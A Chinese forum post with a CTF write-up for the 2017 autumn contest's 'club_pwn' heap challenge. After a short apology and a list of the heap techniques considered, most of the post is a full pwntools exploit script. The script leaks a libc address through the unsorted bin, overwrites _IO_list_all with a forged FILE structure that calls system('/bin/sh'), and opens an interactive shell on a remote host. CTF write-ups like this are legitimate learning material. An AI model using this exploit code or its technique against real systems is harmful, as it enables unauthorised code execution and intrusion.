-
-
[原创]2017CTF秋季赛 第四题 club_pwn 解题报告
-
发表于:
2017-10-31 20:39
4299
-
[原创]2017CTF秋季赛 第四题 club_pwn 解题报告
歉意
囧,对我来说太复杂了,东拼西凑居然搞出来了,大家还是看别人的解析吧,我就贴贴代码。
和 free 有关的
- double free (get_box 只能每种大小各用一次,free_box 只能 free 2, 3号,不能用这个)
- fastbin attack (每次申请的大小必须不一样,不能用这个)
- unsorted bin attack (只能用这个了)
各种参考资料
调试工具
from pwn import *
context.arch = 'amd64'
context.terminal = '/bin/sh'
#p = process('./club')
#p = gdb.debug("./club")
p = remote("123.206.22.95", 8888)
def get_box(idx, sz):
p.recvuntil("> ")
p.send("1")
p.recvuntil("> ")
p.send(str(idx))
p.recvuntil("> ")
p.send(str(sz))
def del_box(idx):
p.recvuntil("> ")
p.send("2")
p.recvuntil("> ")
p.send(str(idx))
def set_box(idx, msg):
p.recvuntil("> ")
p.send("3")
p.recvuntil("> ")
p.send(str(idx))
assert "\n" not in msg
p.send(msg + "\n")
def show_box(idx):
p.recvuntil("> ")
p.send("4")
p.recvuntil("> ")
p.send(str(idx))
return p.recvline(keepends=False)
get_box(3, 1024)
get_box(4, 2048)
del_box(3)
main_arena_88 = u64(show_box(3).ljust(8, "\0"))
libc_base = main_arena_88 - 0x3C4B78
IO_list_all = libc_base + 0x3C5520
psystem = libc_base + 0x45390
get_box(2, 480)
get_box(1, 464)
del_box(2)
part2 = u64(show_box(2).ljust(8, "\0"))
pbuf = part2 - 960
payload = "/bin/sh\x00" + p64(96) + p64(part2) + p64(pbuf-16) + p64(0) + p64(1)
payload = payload.ljust(0xc0, "\0")
payload += p64(2**64-1)
payload = payload.ljust(0xd8,'\x00')
payload += p64(pbuf + 480 + 0xd8 + 8) + p64(0) + p64(0)
payload += p64(1) + p64(psystem)
payload = payload.ljust(480, "\0")
set_box(3, p64(pbuf+480) + p64(IO_list_all-0x10) + p64(0) + p64(0) + "A"*448 + \
payload + \
p64(0) + p64(64) + p64(main_arena_88) + p64(pbuf+480) + p64(0) + p64(0))
get_box(5, 4000)
p.interactive()
PS
阿里云开了10几块
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!